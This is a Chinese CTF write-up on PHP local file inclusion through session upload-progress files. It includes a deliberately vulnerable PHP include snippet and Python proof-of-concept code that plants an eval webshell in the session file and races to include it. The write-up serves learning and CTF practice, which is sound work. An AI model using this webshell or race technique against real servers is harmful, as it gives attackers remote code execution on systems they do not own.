打比赛还是要自己搞个 Docker 文件才好玩啊,本地模拟成不成也不知道原因,搞了个 Docker 就很容易的知道哪里出了问题,本次文章内容描述了 本地文件包含 session 文件的一类题型的解题方案代码

题型:本地文件包含

条件

  • session.upload_progress.enabled 开启 必须

    开启上传进度记录

  • session.use_strict_mode 关闭

    允许自定义session名称

  • session.save_path 已知

    未知也没关系可能就是需要大量的字典爆破

Session 上传进度

来源

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时 POST 一个与INI中设置的 session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种 POST 请求时,它会在 $_SESSION 中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name 连接在一起的值

原理

从官方的描述可以看到,当 POST 数据中包含 session.upload_progress.name 同名变量时,PHP会将 session.upload_progress.prefixsession.upload_progress.name 连接在一起生成 session 索引,之后 session 数据会被序列化保存到 session.save_path 目录下的文件中,文件名为 "sess_" 加上 session.name 对应的 cookie 值,当 session.use_strict_mode 关闭时,我们还可以自定义 session 名称,如果开启可以尝试使用同一个 session 来进行处理。

由于上面的条件,可以得到一个可控内容,知道路径的文件,如果代码中出现文件包含且了解到上述内容的话,可以尝试包含 session 文件来执行,如果 session.upload_progress.cleanup 开启, session 文件的内容会在文件上传完成之后删除,因此可能还需条件竞争,赶在文件被清除前利用包含。

题目

题目环境下载:Docker

源码:

<?php
if (isset($_POST['file'])) {
    $file = $_POST['file'];
    if (file_exists($file)) {
        include $file;
    } else {
        echo 'not exist: '.$file;
    }
} else {
    highlight_file(__FILE__);
}

POC 脚本说明

读文件部分

读文件部分很简单,只需要保证请求文件即可,这里我加了识别文件是否写入成功,以及获取执行成功后的输出内容

def read_eval(sess):
    url = '%s?%s=%s' % (target, get_file_field, session_path)
    resp = sess.post(url,data= {
        post_file_field : session_path,
        'shell': eval_php
    })
    if identiy_name in resp.text:
        m = re.search('<<<(.*)>>>', resp.text)
        if m:
            rsp = m.group(1)
            txt = base64.b64decode(rsp)
            print(txt.decode())
        sys.exit(0)

写文件部分

写文件部分需要做到上传一个文件,且 POST 包中包含特定的 session 名称,以及 session.upload_progress.name 的值。

def write_shell(sess):
    url = '%s?%s=%s' % (target, get_file_field, session_path)
    f = io.BytesIO(b'a' * 1024 * 1024)
    headers = {
        'Cookie': 'PHPSESSID=%s' % identiy_name
    }
    resp = sess.post(url,data= {
        post_file_field : session_path,
        'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo '%s'; ob_start(); eval($_POST[\"shell\"]); $content=ob_get_clean(); echo '<<<'.base64_encode($content).'>>>'; ?>" % identiy_name,
    }, headers=headers, files={"file":('dx.txt', f)})
    if len(resp.text) > 2037 or 'PHP' in resp.text:
        print(resp.text)

这里我写入的 shell 内容大致功能:

<?php 
// 输出标识符,标识文件执行成功
echo '%s'; 
// 缓冲 eval 执行输出
ob_start(); 
eval($_POST["shell"]); 
$content=ob_get_clean(); 
// 编码执行输出方便读取解码
echo '<<<'.base64_encode($content).'>>>'; 
?>

完事之后就是多线程并行的读写

def do_write(sess):
    print('[+] write %s' % session_path)
    while True:
        write_shell(sess)

def do_read(sess):
    print('[+] eval %s' % session_path)
    while True:
        read_eval(sess)

def main():
    with requests.session() as session:
        wt = threading.Thread(target=do_write,args=(session,))
        wt.daemon = True
        wt.start()
        do_read(session)

if __name__ == "__main__":
    main()

POC 执行效果

  1. 配置文件检查


  1. 源码文件

  1. 执行结果

可以在后台看到写入的 session 文件内容

完整脚本